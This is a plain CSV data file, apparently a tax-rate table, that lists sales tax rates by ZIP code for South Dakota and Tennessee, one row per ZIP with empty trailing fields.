US-SD-57243,US,SD,57243,4,,,, US-SD-57245,US,SD,57245,6,,,, US-SD-57246,US,SD,57246,4,,,, US-SD-57247,US,SD,57247,4,,,, US-SD-57248,US,SD,57248,4,,,, US-SD-57249,US,SD,57249,6,,,, US-SD-57251,US,SD,57251,4,,,, US-SD-57252,US,SD,57252,6,,,, US-SD-57255,US,SD,57255,4,,,, US-SD-57256,US,SD,57256,4,,,, US-SD-57257,US,SD,57257,4,,,, US-SD-57258,US,SD,57258,4,,,, US-SD-57259,US,SD,57259,5,,,, US-SD-57260,US,SD,57260,4,,,, US-SD-57261,US,SD,57261,4,,,, US-SD-57262,US,SD,57262,6,,,, US-SD-57263,US,SD,57263,4,,,, US-SD-57264,US,SD,57264,4,,,, US-SD-57265,US,SD,57265,4,,,, US-SD-57266,US,SD,57266,4,,,, US-SD-57268,US,SD,57268,4,,,, US-SD-57269,US,SD,57269,4,,,, US-SD-57270,US,SD,57270,4,,,, US-SD-57271,US,SD,57271,4,,,, US-SD-57272,US,SD,57272,4,,,, US-SD-57273,US,SD,57273,4,,,, US-SD-57274,US,SD,57274,6,,,, US-SD-57276,US,SD,57276,4,,,, US-SD-57278,US,SD,57278,4,,,, US-SD-57279,US,SD,57279,4,,,, US-SD-57301,US,SD,57301,6,,,, US-SD-57311,US,SD,57311,4,,,, US-SD-57312,US,SD,57312,4,,,, US-SD-57313,US,SD,57313,4,,,, US-SD-57314,US,SD,57314,4,,,, US-SD-57315,US,SD,57315,4,,,, US-SD-57317,US,SD,57317,4,,,, US-SD-57319,US,SD,57319,4,,,, US-SD-57321,US,SD,57321,4,,,, US-SD-57322,US,SD,57322,4,,,, US-SD-57323,US,SD,57323,6,,,, US-SD-57324,US,SD,57324,4,,,, US-SD-57325,US,SD,57325,6,,,, US-SD-57326,US,SD,57326,6,,,, US-SD-57328,US,SD,57328,4,,,, US-SD-57329,US,SD,57329,4,,,, US-SD-57330,US,SD,57330,4,,,, US-SD-57331,US,SD,57331,4,,,, US-SD-57332,US,SD,57332,4,,,, US-SD-57334,US,SD,57334,4,,,, US-SD-57335,US,SD,57335,4,,,, US-SD-57337,US,SD,57337,4,,,, US-SD-57339,US,SD,57339,4,,,, US-SD-57340,US,SD,57340,4,,,, US-SD-57341,US,SD,57341,4,,,, US-SD-57342,US,SD,57342,4,,,, US-SD-57344,US,SD,57344,4,,,, US-SD-57345,US,SD,57345,4,,,, US-SD-57346,US,SD,57346,6,,,, US-SD-57348,US,SD,57348,4,,,, US-SD-57349,US,SD,57349,4,,,, US-SD-57350,US,SD,57350,6,,,, US-SD-57353,US,SD,57353,4,,,, US-SD-57354,US,SD,57354,4,,,, US-SD-57355,US,SD,57355,4,,,, US-SD-57356,US,SD,57356,4,,,, US-SD-57358,US,SD,57358,6,,,, US-SD-57359,US,SD,57359,4,,,, US-SD-57361,US,SD,57361,6,,,, US-SD-57362,US,SD,57362,6,,,, US-SD-57363,US,SD,57363,4,,,, US-SD-57364,US,SD,57364,4,,,, US-SD-57365,US,SD,57365,6,,,, US-SD-57366,US,SD,57366,6,,,, US-SD-57367,US,SD,57367,6,,,, US-SD-57368,US,SD,57368,4,,,, US-SD-57369,US,SD,57369,4,,,, US-SD-57370,US,SD,57370,4,,,, US-SD-57371,US,SD,57371,4,,,, US-SD-57373,US,SD,57373,4,,,, US-SD-57374,US,SD,57374,4,,,, US-SD-57375,US,SD,57375,4,,,, US-SD-57376,US,SD,57376,4,,,, US-SD-57379,US,SD,57379,4,,,, US-SD-57380,US,SD,57380,4,,,, US-SD-57381,US,SD,57381,4,,,, US-SD-57382,US,SD,57382,6,,,, US-SD-57383,US,SD,57383,4,,,, US-SD-57384,US,SD,57384,4,,,, US-SD-57385,US,SD,57385,4,,,, US-SD-57386,US,SD,57386,5,,,, US-SD-57399,US,SD,57399,6,,,, US-SD-57401,US,SD,57401,6,,,, US-SD-57402,US,SD,57402,6,,,, US-SD-57420,US,SD,57420,6,,,, US-SD-57421,US,SD,57421,4,,,, US-SD-57422,US,SD,57422,4,,,, US-SD-57424,US,SD,57424,4,,,, US-SD-57426,US,SD,57426,4,,,, US-SD-57427,US,SD,57427,4,,,, US-SD-57428,US,SD,57428,4,,,, US-SD-57429,US,SD,57429,4,,,, US-SD-57430,US,SD,57430,4,,,, US-SD-57432,US,SD,57432,4,,,, US-SD-57433,US,SD,57433,4,,,, US-SD-57434,US,SD,57434,4,,,, US-SD-57435,US,SD,57435,4,,,, US-SD-57436,US,SD,57436,4,,,, US-SD-57437,US,SD,57437,4,,,, US-SD-57438,US,SD,57438,6,,,, US-SD-57439,US,SD,57439,6,,,, US-SD-57440,US,SD,57440,4,,,, US-SD-57441,US,SD,57441,4,,,, US-SD-57442,US,SD,57442,6,,,, US-SD-57445,US,SD,57445,6,,,, US-SD-57446,US,SD,57446,4,,,, US-SD-57448,US,SD,57448,6,,,, US-SD-57449,US,SD,57449,4,,,, US-SD-57450,US,SD,57450,4,,,, US-SD-57451,US,SD,57451,4,,,, US-SD-57452,US,SD,57452,4,,,, US-SD-57454,US,SD,57454,4,,,, US-SD-57455,US,SD,57455,4,,,, US-SD-57456,US,SD,57456,4,,,, US-SD-57457,US,SD,57457,4,,,, US-SD-57460,US,SD,57460,4,,,, US-SD-57461,US,SD,57461,4,,,, US-SD-57465,US,SD,57465,4,,,, US-SD-57466,US,SD,57466,4,,,, US-SD-57467,US,SD,57467,4,,,, US-SD-57468,US,SD,57468,4,,,, US-SD-57469,US,SD,57469,6,,,, US-SD-57470,US,SD,57470,4,,,, US-SD-57471,US,SD,57471,4,,,, US-SD-57472,US,SD,57472,4,,,, US-SD-57473,US,SD,57473,4,,,, US-SD-57474,US,SD,57474,4,,,, US-SD-57475,US,SD,57475,4,,,, US-SD-57476,US,SD,57476,4,,,, US-SD-57477,US,SD,57477,4,,,, US-SD-57479,US,SD,57479,4,,,, US-SD-57481,US,SD,57481,4,,,, US-SD-57501,US,SD,57501,6,,,, US-SD-57520,US,SD,57520,4,,,, US-SD-57521,US,SD,57521,6,,,, US-SD-57522,US,SD,57522,5,,,, US-SD-57523,US,SD,57523,6,,,, US-SD-57528,US,SD,57528,4,,,, US-SD-57529,US,SD,57529,4,,,, US-SD-57531,US,SD,57531,4,,,, US-SD-57532,US,SD,57532,6,,,, US-SD-57533,US,SD,57533,6,,,, US-SD-57534,US,SD,57534,4,,,, US-SD-57536,US,SD,57536,4,,,, US-SD-57537,US,SD,57537,4,,,, US-SD-57538,US,SD,57538,4,,,, US-SD-57540,US,SD,57540,4,,,, US-SD-57541,US,SD,57541,4,,,, US-SD-57543,US,SD,57543,6,,,, US-SD-57544,US,SD,57544,6,,,, US-SD-57547,US,SD,57547,4,,,, US-SD-57548,US,SD,57548,4,,,, US-SD-57551,US,SD,57551,4,,,, US-SD-57552,US,SD,57552,4,,,, US-SD-57553,US,SD,57553,4,,,, US-SD-57555,US,SD,57555,6,,,, US-SD-57559,US,SD,57559,6,,,, US-SD-57560,US,SD,57560,4,,,, US-SD-57562,US,SD,57562,4,,,, US-SD-57563,US,SD,57563,4,,,, US-SD-57564,US,SD,57564,4,,,, US-SD-57566,US,SD,57566,4,,,, US-SD-57567,US,SD,57567,4,,,, US-SD-57568,US,SD,57568,4,,,, US-SD-57569,US,SD,57569,4,,,, US-SD-57570,US,SD,57570,4,,,, US-SD-57571,US,SD,57571,4,,,, US-SD-57572,US,SD,57572,4,,,, US-SD-57574,US,SD,57574,4,,,, US-SD-57576,US,SD,57576,4,,,, US-SD-57577,US,SD,57577,4,,,, US-SD-57579,US,SD,57579,6,,,, US-SD-57580,US,SD,57580,6,,,, US-SD-57584,US,SD,57584,4,,,, US-SD-57585,US,SD,57585,4,,,, US-SD-57601,US,SD,57601,6,,,, US-SD-57620,US,SD,57620,4,,,, US-SD-57621,US,SD,57621,4,,,, US-SD-57622,US,SD,57622,4,,,, US-SD-57623,US,SD,57623,5,,,, US-SD-57625,US,SD,57625,6,,,, US-SD-57626,US,SD,57626,4,,,, US-SD-57630,US,SD,57630,4,,,, US-SD-57631,US,SD,57631,4,,,, US-SD-57632,US,SD,57632,4,,,, US-SD-57633,US,SD,57633,6,,,, US-SD-57634,US,SD,57634,4,,,, US-SD-57636,US,SD,57636,4,,,, US-SD-57638,US,SD,57638,6,,,, US-SD-57639,US,SD,57639,4,,,, US-SD-57640,US,SD,57640,4,,,, US-SD-57641,US,SD,57641,4,,,, US-SD-57642,US,SD,57642,5,,,, US-SD-57644,US,SD,57644,4,,,, US-SD-57645,US,SD,57645,4,,,, US-SD-57646,US,SD,57646,4,,,, US-SD-57648,US,SD,57648,4,,,, US-SD-57649,US,SD,57649,4,,,, US-SD-57650,US,SD,57650,4,,,, US-SD-57651,US,SD,57651,4,,,, US-SD-57652,US,SD,57652,4,,,, US-SD-57656,US,SD,57656,6,,,, US-SD-57657,US,SD,57657,4,,,, US-SD-57658,US,SD,57658,4,,,, US-SD-57659,US,SD,57659,4,,,, US-SD-57660,US,SD,57660,4,,,, US-SD-57661,US,SD,57661,4,,,, US-SD-57701,US,SD,57701,6,,,, US-SD-57702,US,SD,57702,6,,,, US-SD-57703,US,SD,57703,4,,,, US-SD-57706,US,SD,57706,4,,,, US-SD-57709,US,SD,57709,6,,,, US-SD-57714,US,SD,57714,4,,,, US-SD-57716,US,SD,57716,4,,,, US-SD-57717,US,SD,57717,6,,,, US-SD-57718,US,SD,57718,4,,,, US-SD-57719,US,SD,57719,6,,,, US-SD-57720,US,SD,57720,4,,,, US-SD-57722,US,SD,57722,4,,,, US-SD-57724,US,SD,57724,5,,,, US-SD-57725,US,SD,57725,4,,,, US-SD-57730,US,SD,57730,6,,,, US-SD-57732,US,SD,57732,6,,,, US-SD-57735,US,SD,57735,4,,,, US-SD-57737,US,SD,57737,4,,,, US-SD-57738,US,SD,57738,4,,,, US-SD-57741,US,SD,57741,4,,,, US-SD-57744,US,SD,57744,4,,,, US-SD-57745,US,SD,57745,4,,,, US-SD-57747,US,SD,57747,6,,,, US-SD-57748,US,SD,57748,4,,,, US-SD-57750,US,SD,57750,4,,,, US-SD-57751,US,SD,57751,6,,,, US-SD-57752,US,SD,57752,4,,,, US-SD-57754,US,SD,57754,6,,,, US-SD-57755,US,SD,57755,4,,,, US-SD-57756,US,SD,57756,6,,,, US-SD-57758,US,SD,57758,4,,,, US-SD-57759,US,SD,57759,4,,,, US-SD-57760,US,SD,57760,4,,,, US-SD-57761,US,SD,57761,4,,,, US-SD-57762,US,SD,57762,4,,,, US-SD-57763,US,SD,57763,4,,,, US-SD-57764,US,SD,57764,4,,,, US-SD-57766,US,SD,57766,4,,,, US-SD-57767,US,SD,57767,4,,,, US-SD-57769,US,SD,57769,4,,,, US-SD-57770,US,SD,57770,4,,,, US-SD-57772,US,SD,57772,4,,,, US-SD-57773,US,SD,57773,6,,,, US-SD-57775,US,SD,57775,4,,,, US-SD-57776,US,SD,57776,4,,,, US-SD-57779,US,SD,57779,4,,,, US-SD-57780,US,SD,57780,4,,,, US-SD-57782,US,SD,57782,4,,,, US-SD-57783,US,SD,57783,6,,,, US-SD-57785,US,SD,57785,6,,,, US-SD-57787,US,SD,57787,4,,,, US-SD-57788,US,SD,57788,4,,,, US-SD-57790,US,SD,57790,4,,,, US-SD-57791,US,SD,57791,4,,,, US-SD-57792,US,SD,57792,4,,,, US-SD-57793,US,SD,57793,6,,,, US-SD-57794,US,SD,57794,4,,,, US-SD-57799,US,SD,57799,6,,,, US-TN-37010,US,TN,37010,9.75,,,, US-TN-37011,US,TN,37011,9.25,,,, US-TN-37012,US,TN,37012,9.75,,,, US-TN-37013,US,TN,37013,9.25,,,, US-TN-37014,US,TN,37014,9.25,,,, US-TN-37015,US,TN,37015,9.25,,,, US-TN-37016,US,TN,37016,8.75,,,, US-TN-37018,US,TN,37018,9.75,,,, US-TN-37019,US,TN,37019,9.25,,,, US-TN-37020,US,TN,37020,9.75,,,, US-TN-37022,US,TN,37022,9.25,,,, US-TN-37023,US,TN,37023,9.25,,,, US-TN-37024,US,TN,37024,9.25,,,, US-TN-37025,US,TN,37025,9.75,,,, US-TN-37026,US,TN,37026,8.75,,,, US-TN-37027,US,TN,37027,9.25,,,, US-TN-37028,US,TN,37028,9.25,,,, US-TN-37029,US,TN,37029,9.75,,,, US-TN-37030,US,TN,37030,9.75,,,, US-TN-37031,US,TN,37031,9.25,,,, US-TN-37032,US,TN,37032,9.75,,,, US-TN-37033,US,TN,37033,9.75,,,, US-TN-37034,US,TN,37034,9.25,,,, US-TN-37035,US,TN,37035,9.25,,,, US-TN-37036,US,TN,37036,9.75,,,, US-TN-37037,US,TN,37037,9.75,,,, US-TN-37040,US,TN,37040,9.5,,,, US-TN-37041,US,TN,37041,9.5,,,, US-TN-37042,US,TN,37042,9.5,,,, US-TN-37043,US,TN,37043,9.5,,,, US-TN-37044,US,TN,37044,9.5,,,, US-TN-37046,US,TN,37046,9.25,,,, US-TN-37047,US,TN,37047,9.25,,,, US-TN-37048,US,TN,37048,9.25,,,, US-TN-37049,US,TN,37049,9.75,,,, US-TN-37050,US,TN,37050,9.25,,,, US-TN-37051,US,TN,37051,9.75,,,, US-TN-37052,US,TN,37052,9.5,,,, US-TN-37055,US,TN,37055,9.75,,,, US-TN-37056,US,TN,37056,9.75,,,, US-TN-37057,US,TN,37057,9.25,,,, US-TN-37058,US,TN,37058,9.25,,,, US-TN-37059,US,TN,37059,9.75,,,, US-TN-37060,US,TN,37060,9.75,,,, US-TN-37061,US,TN,37061,9.75,,,, US-TN-37062,US,TN,37062,9.75,,,, US-TN-37063,US,TN,37063,9.75,,,, US-TN-37064,US,TN,37064,9.25,,,, US-TN-37065,US,TN,37065,9.25,,,, US-TN-37066,US,TN,37066,9.25,,,, US-TN-37067,US,TN,37067,9.25,,,, US-TN-37068,US,TN,37068,9.25,,,, US-TN-37069,US,TN,37069,9.25,,,, US-TN-37070,US,TN,37070,9.25,,,, US-TN-37071,US,TN,37071,9.25,,,, US-TN-37072,US,TN,37072,9.25,,,, US-TN-37073,US,TN,37073,9.75,,,, US-TN-37074,US,TN,37074,9.25,,,, US-TN-37075,US,TN,37075,9.25,,,, US-TN-37076,US,TN,37076,9.25,,,, US-TN-37077,US,TN,37077,9.25,,,, US-TN-37078,US,TN,37078,9.75,,,, US-TN-37079,US,TN,37079,9.25,,,, US-TN-37080,US,TN,37080,9.25,,,, US-TN-37082,US,TN,37082,9.25,,,, US-TN-37083,US,TN,37083,9.25,,,, US-TN-37085,US,TN,37085,9.75,,,, US-TN-37086,US,TN,37086,9.75,,,, US-TN-37087,US,TN,37087,9.25,,,, US-TN-37088,US,TN,37088,9.25,,,, US-TN-37089,US,TN,37089,9.75,,,, US-TN-37090,US,TN,37090,9.25,,,, US-TN-37091,US,TN,37091,9.25,,,, US-TN-37095,US,TN,37095,9.75,,,, US-TN-37096,US,TN,37096,9.5,,,, US-TN-37097,US,TN,37097,9.5,,,, US-TN-37098,US,TN,37098,9.75,,,, US-TN-37101,US,TN,37101,9.75,,,, US-TN-37110,US,TN,37110,9.75,,,, US-TN-37111,US,TN,37111,9.75,,,, US-TN-37115,US,TN,37115,9.25,,,, US-TN-37116,US,TN,37116,9.25,,,, US-TN-37118,US,TN,37118,9.75,,,, US-TN-37119,US,TN,37119,9.25,,,, US-TN-37121,US,TN,37121,9.25,,,, US-TN-37122,US,TN,37122,9.25,,,, US-TN-37127,US,TN,37127,9.75,,,, US-TN-37128,US,TN,37128,9.75,,,, US-TN-37129,US,TN,37129,9.75,,,, US-TN-37130,US,TN,37130,9.75,,,, US-TN-37131,US,TN,37131,9.75,,,, US-TN-37132,US,TN,37132,9.75,,,, US-TN-37133,US,TN,37133,9.75,,,, US-TN-37134,US,TN,37134,9.75,,,, US-TN-37135,US,TN,37135,9.25,,,, US-TN-37136,US,TN,37136,9.25,,,, US-TN-37137,US,TN,37137,9.75,,,, US-TN-37138,US,TN,37138,9.25,,,, US-TN-37140,US,TN,37140,9.75,,,, US-TN-37141,US,TN,37141,9.75,,,, US-TN-37142,US,TN,37142,9.5,,,, US-TN-37143,US,TN,37143,9.75,,,, US-TN-37144,US,TN,37144,9.5,,,, US-TN-37145,US,TN,37145,9.75,,,, US-TN-37146,US,TN,37146,9.25,,,, US-TN-37148,US,TN,37148,9.25,,,, US-TN-37149,US,TN,37149,9.75,,,, US-TN-37150,US,TN,37150,9.25,,,, US-TN-37151,US,TN,37151,9.75,,,, US-TN-37152,US,TN,37152,9.75,,,, US-TN-37153,US,TN,37153,9.75,,,, US-TN-37160,US,TN,37160,9.75,,,, US-TN-37161,US,TN,37161,9.75,,,, US-TN-37162,US,TN,37162,9.75,,,, US-TN-37165,US,TN,37165,9.75,,,, US-TN-37166,US,TN,37166,9.75,,,, US-TN-37167,US,TN,37167,9.75,,,, US-TN-37171,US,TN,37171,9.5,,,, US-TN-37172,US,TN,37172,9.75,,,, US-TN-37174,US,TN,37174,9.25,,,, US-TN-37175,US,TN,37175,9.75,,,, US-TN-37178,US,TN,37178,9.75,,,, US-TN-37179,US,TN,37179,9.25,,,, US-TN-37180,US,TN,37180,9.75,,,, US-TN-37181,US,TN,37181,9.75,,,, US-TN-37183,US,TN,37183,9.75,,,, US-TN-37184,US,TN,37184,9.25,,,, US-TN-37185,US,TN,37185,9.75,,,, US-TN-37186,US,TN,37186,9.25,,,, US-TN-37187,US,TN,37187,9.75,,,, US-TN-37188,US,TN,37188,9.75,,,, US-TN-37189,US,TN,37189,9.25,,,, US-TN-37190,US,TN,37190,8.75,,,, US-TN-37191,US,TN,37191,9.5,,,, US-TN-37201,US,TN,37201,9.25,,,, US-TN-37202,US,TN,37202,9.25,,,, US-TN-37203,US,TN,37203,9.25,,,, US-TN-37204,US,TN,37204,9.25,,,, US-TN-37205,US,TN,37205,9.25,,,, US-TN-37206,US,TN,37206,9.25,,,, US-TN-37207,US,TN,37207,9.25,,,, US-TN-37208,US,TN,37208,9.25,,,, US-TN-37209,US,TN,37209,9.25,,,, US-TN-37210,US,TN,37210,9.25,,,, US-TN-37211,US,TN,37211,9.25,,,, US-TN-37212,US,TN,37212,9.25,,,, US-TN-37213,US,TN,37213,9.25,,,, US-TN-37214,US,TN,37214,9.25,,,, US-TN-37215,US,TN,37215,9.25,,,, US-TN-37216,US,TN,37216,9.25,,,, US-TN-37217,US,TN,37217,9.25,,,, US-TN-37218,US,TN,37218,9.25,,,, US-TN-37219,US,TN,37219,9.25,,,, US-TN-37220,US,TN,37220,9.25,,,, US-TN-37221,US,TN,37221,9.25,,,, US-TN-37222,US,TN,37222,9.25,,,, US-TN-37224,US,TN,37224,9.25,,,, US-TN-37227,US,TN,37227,9.25,,,, US-TN-37228,US,TN,37228,9.25,,,, US-TN-37229,US,TN,37229,9.25,,,, US-TN-37230,US,TN,37230,9.25,,,, US-TN-37232,US,TN,37232,9.25,,,, US-TN-37234,US,TN,37234,9.25,,,, US-TN-37235,US,TN,37235,9.25,,,, US-TN-37236,US,TN,37236,9.25,,,, US-TN-37238,US,TN,37238,9.25,,,, US-TN-37240,US,TN,37240,9.25,,,, US-TN-37241,US,TN,37241,9.25,,,, US-TN-37242,US,TN,37242,9.25,,,, US-TN-37243,US,TN,37243,9.25,,,, US-TN-37244,US,TN,37244,9.25,,,, US-TN-37246,US,TN,37246,9.25,,,, US-TN-37250,US,TN,37250,9.25,,,, US-TN-37301,US,TN,37301,9.25,,,, US-TN-37302,US,TN,37302,9.25,,,, US-TN-37303,US,TN,37303,9,,,, US-TN-37304,US,TN,37304,9.25,,,, US-TN-37305,US,TN,37305,9.25,,,, US-TN-37306,US,TN,37306,9.25,,,, US-TN-37307,US,TN,37307,9.25,,,, US-TN-37308,US,TN,37308,9.25,,,, US-TN-37309,US,TN,37309,9,,,, US-TN-37310,US,TN,37310,9.75,,,, US-TN-37311,US,TN,37311,9.75,,,, US-TN-37312,US,TN,37312,9.75,,,, US-TN-37313,US,TN,37313,9.25,,,, US-TN-37314,US,TN,37314,9.25,,,, US-TN-37315,US,TN,37315,9.25,,,, US-TN-37317,US,TN,37317,9.25,,,, US-TN-37318,US,TN,37318,9.25,,,, US-TN-37320,US,TN,37320,9.75,,,, US-TN-37321,US,TN,37321,9.75,,,, US-TN-37322,US,TN,37322,9,,,, US-TN-37323,US,TN,37323,9.75,,,, US-TN-37324,US,TN,37324,9.25,,,, US-TN-37325,US,TN,37325,9.25,,,, US-TN-37326,US,TN,37326,9.25,,,, US-TN-37327,US,TN,37327,9.25,,,, US-TN-37328,US,TN,37328,9.5,,,, US-TN-37329,US,TN,37329,9,,,, US-TN-37330,US,TN,37330,9.25,,,, US-TN-37331,US,TN,37331,9,,,, US-TN-37332,US,TN,37332,9.75,,,, US-TN-37333,US,TN,37333,9.25,,,, US-TN-37334,US,TN,37334,9.5,,,, US-TN-37335,US,TN,37335,9.5,,,, US-TN-37336,US,TN,37336,9.75,,,, US-TN-37337,US,TN,37337,9.75,,,, US-TN-37338,US,TN,37338,9.75,,,, US-TN-37339,US,TN,37339,9.25,,,, US-TN-37340,US,TN,37340,9.75,,,, US-TN-37341,US,TN,37341,9.25,,,, US-TN-37342,US,TN,37342,9.75,,,, US-TN-37343,US,TN,37343,9.25,,,, US-TN-37345,US,TN,37345,9.25,,,, US-TN-37347,US,TN,37347,9.75,,,, US-TN-37348,US,TN,37348,9.5,,,, US-TN-37349,US,TN,37349,9.75,,,, US-TN-37350,US,TN,37350,9.25,,,, US-TN-37351,US,TN,37351,9.25,,,, US-TN-37352,US,TN,37352,9.5,,,, US-TN-37353,US,TN,37353,9.75,,,, US-TN-37354,US,TN,37354,9.25,,,, US-TN-37355,US,TN,37355,9.75,,,, US-TN-37356,US,TN,37356,9.75,,,, US-TN-37357,US,TN,37357,9.75,,,, US-TN-37359,US,TN,37359,9.5,,,, US-TN-37360,US,TN,37360,9.75,,,, US-TN-37361,US,TN,37361,9.25,,,, US-TN-37362,US,TN,37362,9.25,,,, US-TN-37363,US,TN,37363,9.25,,,, US-TN-37364,US,TN,37364,9.75,,,, US-TN-37365,US,TN,37365,9.25,,,, US-TN-37366,US,TN,37366,9.25,,,, US-TN-37367,US,TN,37367,9.25,,,, US-TN-37369,US,TN,37369,9.25,,,, US-TN-37370,US,TN,37370,9,,,, US-TN-37371,US,TN,37371,9,,,, US-TN-37373,US,TN,37373,9.25,,,, US-TN-37374,US,TN,37374,9.75,,,, US-TN-37375,US,TN,37375,9.25,,,, US-TN-37376,US,TN,37376,9.25,,,, US-TN-37377,US,TN,37377,9.25,,,, US-TN-37378,US,TN,37378,9.75,,,, US-TN-37379,US,TN,37379,9.25,,,, US-TN-37380,US,TN,37380,9.75,,,, US-TN-37381,US,TN,37381,9.75,,,, US-TN-37382,US,TN,37382,9.75,,,, US-TN-37383,US,TN,37383,9.25,,,, US-TN-37384,US,TN,37384,9.25,,,, US-TN-37385,US,TN,37385,9.25,,,, US-TN-37387,US,TN,37387,9.25,,,, US-TN-37388,US,TN,37388,9.75,,,, US-TN-37389,US,TN,37389,9.75,,,, US-TN-37391,US,TN,37391,9.25,,,, US-TN-37394,US,TN,37394,9.75,,,, US-TN-37396,US,TN,37396,9.75,,,, US-TN-37397,US,TN,37397,9.75,,,, US-TN-37398,US,TN,37398,9.25,,,, US-TN-37401,US,TN,37401,9.25,,,, US-TN-37402,US,TN,37402,9.25,,,, US-TN-37403,US,TN,37403,9.25,,,, US-TN-37404,US,TN,37404,9.25,,,, US-TN-37405,US,TN,37405,9.25,,,, US-TN-37406,US,TN,37406,9.25,,,, US-TN-37407,US,TN,37407,9.25,,,, US-TN-37408,US,TN,37408,9.25,,,, US-TN-37409,US,TN,37409,9.25,,,, US-TN-37410,US,TN,37410,9.25,,,, US-TN-37411,US,TN,37411,9.25,,,, US-TN-37412,US,TN,37412,9.25,,,, US-TN-37414,US,TN,37414,9.25,,,, US-TN-37415,US,TN,37415,9.25,,,, US-TN-37416,US,TN,37416,9.25,,,, US-TN-37419,US,TN,37419,9.25,,,, US-TN-37421,US,TN,37421,9.25,,,, US-TN-37422,US,TN,37422,9.25,,,, US-TN-37424,US,TN,37424,9.25,,,, US-TN-37450,US,TN,37450,9.25,,,, US-TN-37501,US,TN,37501,9.25,,,, US-TN-37544,US,TN,37544,9.25,,,, US-TN-37601,US,TN,37601,9.5,,,, US-TN-37602,US,TN,37602,9.5,,,, US-TN-37604,US,TN,37604,9.5,,,, US-TN-37605,US,TN,37605,9.5,,,, US-TN-37614,US,TN,37614,9.5,,,, US-TN-37615,US,TN,37615,9.5,,,, US-TN-37616,US,TN,37616,9.75,,,, US-TN-37617,US,TN,37617,9.25,,,, US-TN-37618,US,TN,37618,9.25,,,, US-TN-37620,US,TN,37620,9.25,,,, US-TN-37621,US,TN,37621,9.25,,,, US-TN-37625,US,TN,37625,9.25,,,, US-TN-37640,US,TN,37640,8.5,,,, US-TN-37641,US,TN,37641,9.75,,,, US-TN-37642,US,TN,37642,9.75,,,, US-TN-37643,US,TN,37643,9.75,,,, US-TN-37644,US,TN,37644,9.75,,,, US-TN-37645,US,TN,37645,9.75,,,, US-TN-37650,US,TN,37650,9.75,,,, US-TN-37656,US,TN,37656,9.75,,,, US-TN-37657,US,TN,37657,9.75,,,, US-TN-37658,US,TN,37658,9.75,,,, US-TN-37659,US,TN,37659,9.5,,,, US-TN-37660,US,TN,37660,9.5,,,, US-TN-37662,US,TN,37662,9.25,,,, US-TN-37663,US,TN,37663,9.25,,,, US-TN-37664,US,TN,37664,9.5,,,, US-TN-37665,US,TN,37665,9.5,,,, US-TN-37669,US,TN,37669,9.5,,,, US-TN-37680,US,TN,37680,8.5,,,, US-TN-37681,US,TN,37681,9.75,,,, US-TN-37682,US,TN,37682,9.75,,,, US-TN-37683,US,TN,37683,8.5,,,, US-TN-37684,US,TN,37684,9.5,,,, US-TN-37686,US,TN,37686,9.25,,,, US-TN-37687,US,TN,37687,9.75,,,, US-TN-37688,US,TN,37688,8.5,,,, US-TN-37690,US,TN,37690,9.5,,,, US-TN-37691,US,TN,37691,8.5,,,, US-TN-37692,US,TN,37692,9.75,,,, US-TN-37694,US,TN,37694,9.75,,,, US-TN-37699,US,TN,37699,9.25,,,, US-TN-37701,US,TN,37701,9.75,,,, US-TN-37705,US,TN,37705,9.75,,,, US-TN-37707,US,TN,37707,9.25,,,, US-TN-37708,US,TN,37708,9.75,,,, US-TN-37709,US,TN,37709,9.75,,,, US-TN-37710,US,TN,37710,9.75,,,, US-TN-37711,US,TN,37711,9.75,,,, US-TN-37713,US,TN,37713,9.75,,,, US-TN-37714,US,TN,37714,9.25,,,, US-TN-37715,US,TN,37715,9.25,,,, US-TN-37716,US,TN,37716,9.75,,,, US-TN-37717,US,TN,37717,9.75,,,, US-TN-37719,US,TN,37719,9,,,, US-TN-37721,US,TN,37721,9.25,,,, US-TN-37722,US,TN,37722,9.75,,,, US-TN-37723,US,TN,37723,9.75,,,, US-TN-37724,US,TN,37724,9.25,,,, US-TN-37725,US,TN,37725,9.75,,,, US-TN-37726,US,TN,37726,9,,,, US-TN-37727,US,TN,37727,9.75,,,, US-TN-37729,US,TN,37729,9.25,,,, US-TN-37730,US,TN,37730,9.25,,,, US-TN-37731,US,TN,37731,9.75,,,, US-TN-37732,US,TN,37732,9.25,,,, US-TN-37733,US,TN,37733,9.25,,,, US-TN-37737,US,TN,37737,9.25,,,, US-TN-37738,US,TN,37738,9.75,,,, US-TN-37742,US,TN,37742,9,,,, US-TN-37743,US,TN,37743,9.75,,,, US-TN-37744,US,TN,37744,9.75,,,, US-TN-37745,US,TN,37745,9.75,,,, US-TN-37748,US,TN,37748,9.5,,,, US-TN-37752,US,TN,37752,9.25,,,, US-TN-37753,US,TN,37753,9.75,,,, US-TN-37754,US,TN,37754,9.75,,,, US-TN-37755,US,TN,37755,9.25,,,, US-TN-37756,US,TN,37756,9.25,,,, US-TN-37757,US,TN,37757,9.25,,,, US-TN-37760,US,TN,37760,9.75,,,, US-TN-37762,US,TN,37762,9.25,,,, US-TN-37763,US,TN,37763,9.5,,,, US-TN-37764,US,TN,37764,9.75,,,, US-TN-37765,US,TN,37765,9,,,, US-TN-37766,US,TN,37766,9.25,,,, US-TN-37769,US,TN,37769,9.75,,,, US-TN-37770,US,TN,37770,9,,,, US-TN-37771,US,TN,37771,9,,,, US-TN-37772,US,TN,37772,9,,,, US-TN-37773,US,TN,37773,9.25,,,, US-TN-37774,US,TN,37774,9,,,, US-TN-37777,US,TN,37777,9.25,,,, US-TN-37778,US,TN,37778,9.75,,,, US-TN-37779,US,TN,37779,9.25,,,, US-TN-37801,US,TN,37801,9.25,,,, US-TN-37802,US,TN,37802,9.25,,,, US-TN-37803,US,TN,37803,9.25,,,, US-TN-37804,US,TN,37804,9.25,,,, US-TN-37806,US,TN,37806,9.25,,,, US-TN-37807,US,TN,37807,9.25,,,, US-TN-37809,US,TN,37809,9.75,,,, US-TN-37810,US,TN,37810,9.75,,,, US-TN-37811,US,TN,37811,9.75,,,, US-TN-37813,US,TN,37813,9.75,,,, US-TN-37814,US,TN,37814,9.75,,,, US-TN-37815,US,TN,37815,9.75,,,, US-TN-37816,US,TN,37816,9.75,,,, US-TN-37818,US,TN,37818,9.75,,,, US-TN-37819,US,TN,37819,9.25,,,, US-TN-37820,US,TN,37820,9.75,,,, US-TN-37821,US,TN,37821,9.75,,,, US-TN-37822,US,TN,37822,9.75,,,, US-TN-37824,US,TN,37824,9.25,,,, US-TN-37825,US,TN,37825,9.25,,,, US-TN-37826,US,TN,37826,9,,,, US-TN-37828,US,TN,37828,9.75,,,, US-TN-37829,US,TN,37829,9,,,, US-TN-37830,US,TN,37830,9.75,,,, US-TN-37831,US,TN,37831,9.75,,,, US-TN-37840,US,TN,37840,9.75,,,, 